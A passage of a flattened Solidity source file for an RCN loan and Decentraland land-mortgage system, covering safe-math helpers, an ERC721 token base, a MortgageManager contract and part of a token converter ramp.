require((z >= x) && (z >= y), "Add overflow");
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
require(x >= y, "Sub underflow");
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y), "Mult overflow");
return z;
}
}
// File: contracts/utils/ERC165.sol
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff, "Can't register 0xffffffff");
_supportedInterfaces[interfaceId] = true;
}
}
// File: contracts/ERC721Base.sol
interface URIProvider {
function tokenURI(uint256 _tokenId) external view returns (string);
}
contract ERC721Base is ERC165 {
using SafeMath for uint256;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant ERC721_RECEIVED_LEGACY = 0xf0b9e5ba;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 private constant ERC_721_INTERFACE = 0x80ac58cd;
bytes4 private constant ERC_721_METADATA_INTERFACE = 0x5b5e139f;
bytes4 private constant ERC_721_ENUMERATION_INTERFACE = 0x780e9d63;
constructor(
string name,
string symbol
) public {
_name = name;
_symbol = symbol;
_registerInterface(ERC_721_INTERFACE);
_registerInterface(ERC_721_METADATA_INTERFACE);
_registerInterface(ERC_721_ENUMERATION_INTERFACE);
}
// ///
// ERC721 Metadata
// ///
/// ERC-721 Non-Fungible Token Standard, optional metadata extension
/// See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
event SetURIProvider(address _uriProvider);
string private _name;
string private _symbol;
URIProvider private _uriProvider;
// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string) {
return _name;
}
// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string) {
return _symbol;
}
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given asset.
* @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
* 3986. The URI may point to a JSON file that conforms to the "ERC721
* Metadata JSON Schema".
*/
function tokenURI(uint256 _tokenId) external view returns (string) {
require(_holderOf[_tokenId] != 0, "Asset does not exist");
URIProvider provider = _uriProvider;
return provider == address(0) ? "" : provider.tokenURI(_tokenId);
}
function _setURIProvider(URIProvider _provider) internal returns (bool) {
emit SetURIProvider(_provider);
_uriProvider = _provider;
return true;
}
// ///
// ERC721 Enumeration
// ///
/// ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
uint256[] private _allTokens;
function allTokens() external view returns (uint256[]) {
return _allTokens;
}
function assetsOf(address _owner) external view returns (uint256[]) {
return _assetsOf[_owner];
}
/**
* @dev Gets the total amount of assets stored by the contract
* @return uint256 representing the total amount of assets
*/
function totalSupply() external view returns (uint256) {
return _allTokens.length;
}
/**
* @notice Enumerate valid NFTs
* @dev Throws if `_index` >= `totalSupply()`.
* @param _index A counter less than `totalSupply()`
* @return The token identifier for the `_index`th NFT,
* (sort order not specified)
*/
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < _allTokens.length, "Index out of bounds");
return _allTokens[_index];
}
/**
* @notice Enumerate NFTs assigned to an owner
* @dev Throws if `_index` >= `balanceOf(_owner)` or if
* `_owner` is the zero address, representing invalid NFTs.
* @param _owner An address where we are interested in NFTs owned by them
* @param _index A counter less than `balanceOf(_owner)`
* @return The token identifier for the `_index`th NFT assigned to `_owner`,
* (sort order not specified)
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_owner != address(0), "0x0 Is not a valid owner");
require(_index < _balanceOf(_owner), "Index out of bounds");
return _assetsOf[_owner][_index];
}
//
// Asset-centric getter functions
//
/**
* @dev Queries what address owns an asset. This method does not throw.
* In order to check if the asset exists, use the `exists` function or check if the
* return value of this call is `0`.
* @return uint256 the assetId
*/
function ownerOf(uint256 _assetId) external view returns (address) {
return _ownerOf(_assetId);
}
function _ownerOf(uint256 _assetId) internal view returns (address) {
return _holderOf[_assetId];
}
//
// Holder-centric getter functions
//
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) external view returns (uint256) {
return _balanceOf(_owner);
}
function _balanceOf(address _owner) internal view returns (uint256) {
return _assetsOf[_owner].length;
}
//
// Authorization getters
//
/**
* @dev Query whether an address has been authorized to move any assets on behalf of someone else
* @param _operator the address that might be authorized
* @param _assetHolder the address that provided the authorization
* @return bool true if the operator has been authorized to move any assets
*/
function isApprovedForAll(
address _operator,
address _assetHolder
) external view returns (bool) {
return _isApprovedForAll(_operator, _assetHolder);
}
function _isApprovedForAll(
address _operator,
address _assetHolder
) internal view returns (bool) {
return _operators[_assetHolder][_operator];
}
/**
* @dev Query what address has been particularly authorized to move an asset
* @param _assetId the asset to be queried for
* @return bool true if the asset has been approved by the holder
*/
function getApprovedAddress(uint256 _assetId) external view returns (address) {
return _getApprovedAddress(_assetId);
}
function _getApprovedAddress(uint256 _assetId) internal view returns (address) {
return _approval[_assetId];
}
/**
* @dev Query if an operator can move an asset.
* @param _operator the address that might be authorized
* @param _assetId the asset that has been `approved` for transfer
* @return bool true if the asset has been approved by the holder
*/
function isAuthorized(address _operator, uint256 _assetId) external view returns (bool) {
return _isAuthorized(_operator, _assetId);
}
function _isAuthorized(address _operator, uint256 _assetId) internal view returns (bool) {
require(_operator != 0, "0x0 is an invalid operator");
address owner = _ownerOf(_assetId);
if (_operator == owner) {
return true;
}
return _isApprovedForAll(_operator, owner) || _getApprovedAddress(_assetId) == _operator;
}
//
// Authorization
//
/**
* @dev Authorize a third party operator to manage (send) msg.sender's asset
* @param _operator address to be approved
* @param _authorized bool set to true to authorize, false to withdraw authorization
*/
function setApprovalForAll(address _operator, bool _authorized) external {
if (_operators[msg.sender][_operator] != _authorized) {
_operators[msg.sender][_operator] = _authorized;
emit ApprovalForAll(_operator, msg.sender, _authorized);
}
}
/**
* @dev Authorize a third party operator to manage one particular asset
* @param _operator address to be approved
* @param _assetId asset to approve
*/
function approve(address _operator, uint256 _assetId) external {
address holder = _ownerOf(_assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder), "msg.sender can't approve");
if (_getApprovedAddress(_assetId) != _operator) {
_approval[_assetId] = _operator;
emit Approval(holder, _operator, _assetId);
}
}
//
// Internal Operations
//
function _addAssetTo(address _to, uint256 _assetId) internal {
// Store asset owner
_holderOf[_assetId] = _to;
// Store index of the asset
uint256 length = _balanceOf(_to);
_assetsOf[_to].push(_assetId);
_indexOfAsset[_assetId] = length;
// Save main enumerable
_allTokens.push(_assetId);
}
function _transferAsset(address _from, address _to, uint256 _assetId) internal {
uint256 assetIndex = _indexOfAsset[_assetId];
uint256 lastAssetIndex = _balanceOf(_from).sub(1);
if (assetIndex != lastAssetIndex) {
// Replace current asset with last asset
uint256 lastAssetId = _assetsOf[_from][lastAssetIndex];
// Insert the last asset into the position previously occupied by the asset to be removed
_assetsOf[_from][assetIndex] = lastAssetId;
}
// Resize the array
_assetsOf[_from][lastAssetIndex] = 0;
_assetsOf[_from].length--;
// Change owner
_holderOf[_assetId] = _to;
// Update the index of positions of the asset
uint256 length = _balanceOf(_to);
_assetsOf[_to].push(_assetId);
_indexOfAsset[_assetId] = length;
}
function _clearApproval(address _holder, uint256 _assetId) internal {
if (_approval[_assetId] != 0) {
_approval[_assetId] = 0;
emit Approval(_holder, 0, _assetId);
}
}
//
// Supply-altering functions
//
function _generate(uint256 _assetId, address _beneficiary) internal {
require(_holderOf[_assetId] == 0, "Asset already exists");
_addAssetTo(_beneficiary, _assetId);
emit Transfer(0x0, _beneficiary, _assetId);
}
//
// Transaction related operations
//
modifier onlyHolder(uint256 _assetId) {
require(_ownerOf(_assetId) == msg.sender, "msg.sender Is not holder");
_;
}
modifier onlyAuthorized(uint256 _assetId) {
require(_isAuthorized(msg.sender, _assetId), "msg.sender Not authorized");
_;
}
modifier isCurrentOwner(address _from, uint256 _assetId) {
require(_ownerOf(_assetId) == _from, "Not current owner");
_;
}
modifier addressDefined(address _target) {
require(_target != address(0), "Target can't be 0x0");
_;
}
/**
* @dev Alias of `safeTransferFrom(from, to, assetId, '')`
*
* @param _from address that currently owns an asset
* @param _to address to receive the ownership of the asset
* @param _assetId uint256 ID of the asset to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _assetId) external {
return _doTransferFrom(_from, _to, _assetId, "", true);
}
/**
* @dev Securely transfers the ownership of a given asset from one address to
* another address, calling the method `onNFTReceived` on the target address if
* there's code associated with it
*
* @param _from address that currently owns an asset
* @param _to address to receive the ownership of the asset
* @param _assetId uint256 ID of the asset to be transferred
* @param _userData bytes arbitrary user information to attach to this transfer
*/
function safeTransferFrom(address _from, address _to, uint256 _assetId, bytes _userData) external {
return _doTransferFrom(_from, _to, _assetId, _userData, true);
}
/**
* @dev Transfers the ownership of a given asset from one address to another address
* Warning! This function does not attempt to verify that the target address can send
* tokens.
*
* @param _from address sending the asset
* @param _to address to receive the ownership of the asset
* @param _assetId uint256 ID of the asset to be transferred
*/
function transferFrom(address _from, address _to, uint256 _assetId) external {
return _doTransferFrom(_from, _to, _assetId, "", false);
}
/**
* Internal function that moves an asset from one holder to another
*/
function _doTransferFrom(
address _from,
address _to,
uint256 _assetId,
bytes _userData,
bool _doCheck
)
internal
onlyAuthorized(_assetId)
addressDefined(_to)
isCurrentOwner(_from, _assetId)
{
address holder = _holderOf[_assetId];
_clearApproval(holder, _assetId);
_transferAsset(holder, _to, _assetId);
if (_doCheck && _isContract(_to)) {
// Call dest contract
uint256 success;
bytes32 result;
// Perform check with the new safe call
// onERC721Received(address,address,uint256,bytes)
(success, result) = _noThrowCall(
_to,
abi.encodeWithSelector(
ERC721_RECEIVED,
msg.sender,
holder,
_assetId,
_userData
)
);
if (success != 1 || result != ERC721_RECEIVED) {
// Try legacy safe call
// onERC721Received(address,uint256,bytes)
(success, result) = _noThrowCall(
_to,
abi.encodeWithSelector(
ERC721_RECEIVED_LEGACY,
holder,
_assetId,
_userData
)
);
require(
success == 1 && result == ERC721_RECEIVED_LEGACY,
"Contract rejected the token"
);
}
}
emit Transfer(holder, _to, _assetId);
}
//
// Utilities
//
function _isContract(address _addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
function _noThrowCall(
address _contract,
bytes _data
) internal returns (uint256 success, bytes32 result) {
assembly {
let x := mload(0x40)
success := call(
gas, // Send all gas
_contract, // To addr
0, // Send ETH
add(0x20, _data), // Input is data past the first 32 bytes
mload(_data), // Input size is the lenght of data
x, // Store the ouput on x
0x20 // Output is a single bytes32, has 32 bytes
)
result := mload(x)
}
}
}
// File: contracts/utils/SafeWithdraw.sol
contract SafeWithdraw is Ownable {
function withdrawTokens(Token token, address to, uint256 amount) external onlyOwner returns (bool) {
require(to != address(0), "Can't transfer to address 0x0");
return token.transfer(to, amount);
}
function withdrawErc721(ERC721Base token, address to, uint256 id) external onlyOwner returns (bool) {
require(to != address(0), "Can't transfer to address 0x0");
token.transferFrom(this, to, id);
}
function withdrawEth(address to, uint256 amount) external onlyOwner returns (bool) {
to.transfer(amount);
return true;
}
}
// File: contracts/utils/BytesUtils.sol
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
// File: contracts/MortgageManager.sol
contract LandMarket {
struct Auction {
// Auction ID
bytes32 id;
// Owner of the NFT
address seller;
// Price (in wei) for the published item
uint256 price;
// Time when this sale ends
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land is ERC721 {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
function setUpdateOperator(uint256 assetId, address operator) external;
}
/**
@notice The contract is used to handle all the lifetime of a mortgage, uses RCN for the Loan and Decentraland for the parcels.
Implements the Cosigner interface of RCN, and when is tied to a loan it creates a new ERC721 to handle the ownership of the mortgage.
When the loan is resolved (paid, pardoned or defaulted), the mortgaged parcel can be recovered.
Uses a token converter to buy the Decentraland parcel with MANA using the RCN tokens received.
*/
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
event RequestedMortgage(
uint256 _id,
address _borrower,
address _engine,
uint256 _loanId,
address _landMarket,
uint256 _landId,
uint256 _deposit,
address _tokenConverter
);
event ReadedOracle(
address _oracle,
bytes32 _currency,
uint256 _decimals,
uint256 _rate
);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
event SetEngine(address _engine, bool _status);
Token public rcn;
Token public mana;
Land public land;
constructor(
Token _rcn,
Token _mana,
Land _land
) public ERC721Base("Decentraland RCN Mortgage", "LAND-RCN-M") {
rcn = _rcn;
mana = _mana;
land = _land;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
LandMarket landMarket;
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(address => bool) public engines;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() public view returns (string) {
return "";
}
function setEngine(address engine, bool authorized) external onlyOwner returns (bool) {
emit SetEngine(engine, authorized);
engines[engine] = authorized;
return true;
}
function setURIProvider(URIProvider _provider) external onlyOwner returns (bool) {
return _setURIProvider(_provider);
}
/**
@notice Sets a new third party creator
The third party creator can request loans for other borrowers. The creator should be a trusted contract, it could potentially take funds.
@param creator Address of the creator
@param authorized Enables or disables the permission
@return true If the operation was executed
*/
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
/**
@notice Returns the cost of the cosigner
This cosigner does not have any risk or maintenance cost, so its free.
@return 0, because it's free
*/
function cost(address, uint256, bytes, bytes) public view returns (uint256) {
return 0;
}
/**
@notice Requests a mortgage with a loan identifier
@dev The loan should exist in the designated engine
@param engine RCN Engine
@param loanIdentifier Identifier of the loan asociated with the mortgage
@param deposit MANA to cover part of the cost of the parcel
@param landId ID of the parcel to buy with the mortgage
@param tokenConverter Token converter used to exchange RCN - MANA
@return id The id of the mortgage
*/
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
LandMarket landMarket,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, landMarket, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
/**
@notice Request a mortgage with a loan id
@dev The loan should exist in the designated engine
@param engine RCN Engine
@param loanId Id of the loan asociated with the mortgage
@param deposit MANA to cover part of the cost of the parcel
@param landId ID of the parcel to buy with the mortgage
@param tokenConverter Token converter used to exchange RCN - MANA
@return id The id of the mortgage
*/
function requestMortgageId(
Engine engine,
LandMarket landMarket,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
// Validate the associated loan
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engines[engine], "Engine not authorized");
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(
msg.sender == borrower || (msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized"
);
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
// Get the current parcel cost
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
// the remaining will be sent to the borrower
require(loanAmount + deposit >= landCost, "Not enought total amount");
// Pull the deposit and lock the tokens
require(mana.transferFrom(msg.sender, this, deposit), "Error pulling mana");
// Create the liability
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landMarket: landMarket,
landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landMarket: landMarket,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
/**
@notice Cancels an existing mortgage
@dev The mortgage status should be pending
@param id Id of the mortgage
@return true If the operation was executed
*/
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
// Only the owner of the mortgage and if the mortgage is pending
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
// Transfer the deposit back to the borrower
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
/**
@notice Request the cosign of a loan
Buys the parcel and locks its ownership until the loan status is resolved.
Emits an ERC721 to manage the ownership of the mortgaged property.
@param engine Engine of the loan
@param index Index of the loan
@param data Data with the mortgage id
@param oracleData Oracle data to calculate the loan amount
@return true If the cosign was performed
*/
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
// The first word of the data MUST contain the index of the target mortgage
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
// Validate that the loan matches with the mortgage
// and the mortgage is still pending
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
require(engines[engine], "Engine not authorized");
// Update the status of the mortgage to avoid reentrancy
mortgage.status = Status.Ongoing;
// Mint mortgage ERC721 Token
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
// Transfer the amount of the loan in RCN to this contract
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
// Convert the RCN into MANA using the designated
// and save the received MANA
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
// Load the new cost of the parcel, it may be changed
uint256 currentLandCost;
(, , currentLandCost, ) = mortgage.landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
// Buy the land and lock it into the mortgage contract
require(mana.approve(mortgage.landMarket, currentLandCost), "Error approving mana transfer");
flagReceiveLand = mortgage.landId;
mortgage.landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(mortgage.landMarket, 0), "Error removing approve mana transfer");
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
// Set borrower as update operator
land.setUpdateOperator(mortgage.landId, mortgage.owner);
// Calculate the remaining amount to send to the borrower and
// check that we didn't expend any contract funds.
uint256 totalMana = boughtMana.add(mortgage.deposit);
uint256 rest = totalMana.sub(currentLandCost);
// Return rest of MANA to the owner
require(mana.transfer(mortgage.owner, rest), "Error returning MANA");
// Cosign contract, 0 is the RCN required
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
// Save mortgage id registry
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
// Emit mortgage event
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
/**
@notice Converts tokens using a token converter
@dev Does not trust the token converter, validates the return amount
@param converter Token converter used
@param from Tokens to sell
@param to Tokens to buy
@param amount Amount to sell
@return bought Bought amount
*/
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount), "Error approve convert safe");
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0), "Error remove approve convert safe");
}
/**
@notice Claims the mortgage when the loan status is resolved and transfers the ownership of the parcel to which corresponds.
@dev Deletes the mortgage ERC721
@param engine RCN Engine
@param loanId Loan ID
@return true If the claim succeded
*/
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
// Validate that the mortgage wasn't claimed
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
// The mortgage is paid
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
// Transfer the parcel to the borrower
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
// The mortgage is defaulted
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
// Transfer the parcel to the lender
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
// Delete mortgage id registry
delete mortgageByLandId[mortgage.landId];
return true;
}
/**
@notice Defines a custom logic that determines if a loan is defaulted or not.
@param engine RCN Engines
@param index Index of the loan
@return true if the loan is considered defaulted
*/
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
/**
@dev An alternative version of the ERC721 callback, required by a bug in the parcels contract
*/
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
/**
@notice Callback used to accept the ERC721 parcel tokens
@dev Only accepts tokens if flag is set to tokenId, resets the flag when called
*/
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
/**
@notice Last callback used to accept the ERC721 parcel tokens
@dev Only accepts tokens if flag is set to tokenId, resets the flag when called
*/
function onERC721Received(address, address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(0x150b7a02);
}
}
/**
@dev Reads data from a bytes array
*/
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
/**
@notice Enables the owner of a parcel to update the data field
@param id Id of the mortgage
@param data New data
@return true If data was updated
*/
function updateLandData(uint256 id, string data) external returns (bool) {
require(_isAuthorized(msg.sender, id), "Sender not authorized");
(int256 x, int256 y) = land.decodeTokenId(mortgages[id].landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
/**
@dev Replica of the convertRate function of the RCN Engine, used to apply the oracle rate
*/
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
(uint256 rate, uint256 decimals) = oracle.getRate(currency, data);
emit ReadedOracle(oracle, currency, decimals, rate);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return amount.mult(rate.mult(10**(RCN_DECIMALS-decimals))) / PRECISION;
}
}
//////
// Override transfer
//////
function _doTransferFrom(
address _from,
address _to,
uint256 _assetId,
bytes _userData,
bool _doCheck
)
internal
{
ERC721Base._doTransferFrom(_from, _to, _assetId, _userData, _doCheck);
land.setUpdateOperator(mortgages[_assetId].landId, _to);
}
}
// File: contracts/interfaces/NanoLoanEngine.sol
interface NanoLoanEngine {
function createLoan(address _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256);
function getIdentifier(uint256 index) public view returns (bytes32);
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool);
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool);
function rcn() public view returns (Token);
function getOracle(uint256 index) public view returns (Oracle);
function getAmount(uint256 index) public view returns (uint256);
function getCurrency(uint256 index) public view returns (bytes32);
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public view returns (uint256);
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
}
// File: contracts/utils/LrpSafeMath.sol
library LrpSafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
function max(uint256 a, uint256 b) internal pure returns(uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
}
// File: contracts/ConverterRamp.sol
contract ConverterRamp is Ownable {
using LrpSafeMath for uint256;
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
uint256 public constant AUTO_MARGIN = 1000001;
uint256 public constant I_MARGIN_SPEND = 0;
uint256 public constant I_MAX_SPEND = 1;
uint256 public constant I_REBUY_THRESHOLD = 2;
uint256 public constant I_ENGINE = 0;
uint256 public constant I_INDEX = 1;
uint256 public constant I_PAY_AMOUNT = 2;
uint256 public constant I_PAY_FROM = 3;
uint256 public constant I_LEND_COSIGNER = 2;
event RequiredRebuy(address token, uint256 amount);
event Return(address token, address to, uint256 amount);
event OptimalSell(address token, uint256 amount);
event RequiredRcn(uint256 required);
event RunAutoMargin(uint256 loops, uint256 increment);
function pay(
TokenConverter converter,
Token fromToken,
bytes32[4] loanParams,
bytes oracleData,
uint256[3] convertRules
) external payable returns (bool) {
Token rcn = NanoLoanEngine(address(loanParams[I_ENGINE])).rcn();
uint256 initialBalance = rcn.balanceOf(this);
uint256 requiredRcn = getRequiredRcnPay(loanParams, oracleData);
emit RequiredRcn(requiredRcn);
uint256 optimalSell = getOptimalSell(converter, fromToken, rcn, requiredRcn, convertRules[I_MARGIN_SPEND]);
emit OptimalSell(fromToken, optimalSell);
pullAmount(fromToken, optimalSell);
uint256 bought = convertSafe(converter, fromToken, rcn, optimalSell);
// Pay loan
require(
executeOptimalPay({
params: loanParams,
oracleData: oracleData,
rcnToPay: bought
}),
"Error paying the loan"
);
require(
rebuyAndReturn({
converter: converter,
fromToken: rcn,
toToken: fromToken,
amount: rcn.balanceOf(this) - initialBalance,
spentAmount: optimalSell,
convertRules: convertRules
}),
"Error rebuying the tokens"
);
require(rcn.balanceOf(this) == initialBalance, "Converter balance has incremented");
return true;
}
function requiredLendSell(
TokenConverter converter,
Token fromToken,
bytes32[3] loanParams,
bytes oracleData,
bytes cosignerData,
uint256[3] convertRules
) external view returns (uint256) {
Token rcn = NanoLoanEngine(address(loanParams[0])).rcn();
return getOptimalSell(
converter,
fromToken,
rcn,
getRequiredRcnLend(loanParams, oracleData, cosignerData),
convertRules[I_MARGIN_SPEND]
);
}
function requiredPaySell(
TokenConverter converter,
Token fromToken,
bytes32[4] loanParams,
bytes oracleData,
uint256[3] convertRules
) external view returns (uint256) {
Token rcn = NanoLoanEngine(address(loanParams[0])).rcn();
return getOptimalSell(
converter,
fromToken,
rcn,
getRequiredRcnPay(loanParams, oracleData),
